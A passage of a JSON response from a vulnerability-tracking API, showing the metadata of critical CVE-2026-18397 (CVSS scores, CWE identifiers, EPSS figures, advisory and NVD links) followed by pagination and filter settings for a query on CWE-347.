checks.","cveId":"CVE-2026-18397","cvssScore":9.4,"cvssVector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"critical","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-130","CWE-252","CWE-347","CWE-457"],"tags":["nvd","status:received","status:deferred"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://www.thalesgroup.com/en/product-security-incident-response","type":"advisory","title":"psirt@thalesgroup.com"}],"epssScore":0.00337,"epssPercentile":0.25018,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-01T22:17:01.220Z","addedAt":"2026-10-01T23:50:39.516Z","updatedAt":"2026-10-02T21:50:40.069Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-18397","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-18397","note":"authoritative record"}]}],"pagination":{"page":1,"limit":20,"total":271,"totalPages":14,"hasNext":true,"hasPrev":false}},"meta":{"apiVersion":"v1","requestedAt":"2026-10-09T00:25:17.156Z","durationMs":28,"filters":{"search":null,"severity":[],"type":[],"country":[],"tag":[],"cwe":["CWE-347"],"vendor":null,"product":null,"cve":null,"source":[],"days":null,"publishedAfter":null,"publishedBefore":null,"minCvss":null,"maxCvss":null,"minEpss":null,"knownExploited":null,"hasPatch":null,"hasNucleiTemplate":null},"sort":"newest","unknownParams":[],"warnings":[]}}